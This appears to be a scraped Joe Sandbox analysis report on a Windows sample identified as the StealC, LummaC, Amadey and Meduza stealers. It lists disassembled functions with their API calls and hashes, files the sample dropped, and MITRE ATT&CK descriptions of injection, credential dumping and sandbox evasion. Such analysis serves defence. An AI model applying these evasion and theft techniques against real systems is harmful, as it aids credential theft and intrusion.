Function 6CE90F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE32AF5,?,?,?,?,?,6CE30A1B,00000000), ref: 6CE90F1A
malloc.MOZGLUE(00000001), ref: 6CE90F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE90F42
TlsGetValue.KERNEL32 ref: 6CE90F5B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: b3cf5457ddcbf94deb1e38420d8522d0e6524ce7fd2b37378c6c4ea3d89d0226
Instruction ID: 069f51704a24df25c3bc20a34cc605b7d87956cdf3d5e6c40a51a7abb7f51fc7
Opcode Fuzzy Hash: b3cf5457ddcbf94deb1e38420d8522d0e6524ce7fd2b37378c6c4ea3d89d0226
Instruction Fuzzy Hash: 25014071E1028057E7502B3D8D096667A7CEF572ACF514135EC1DC2B21E730C545C2D2

Function 6CE41EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CE41ECE
free.MOZGLUE(?), ref: 6CE41EDF
free.MOZGLUE(?), ref: 6CE41EEF
free.MOZGLUE(?), ref: 6CE41EF5

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ea198344e5e132e9bd2fb01987dc4fe027b1d8dd6d45b50e203edbd68c462c9b
Instruction ID: ded384519de6ca686a578c9e54c475c0a2d3ae90afa5fbed78bdeb92831ceb81
Opcode Fuzzy Hash: ea198344e5e132e9bd2fb01987dc4fe027b1d8dd6d45b50e203edbd68c462c9b
Instruction Fuzzy Hash: 01F0B4B57012016BEB009BA5FC89E27737CEF46198B144424EC19C3A00D729F42586A1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Threatname: Meduza Stealer

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGIJJKKJ

C:\ProgramData\BKKKEGIDBGHIDGDHDBFHDAKJJK

C:\ProgramData\DBKKFHIEGDHJKECAAKKE

C:\ProgramData\EHDAAECAEBKJKFHJKECFIJJDAE

C:\ProgramData\HCFBFBAEBKJKEBGCAEHC

C:\ProgramData\KJEHCGDBFCBAKECBKKEB

C:\ProgramData\KKKKEHJK

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre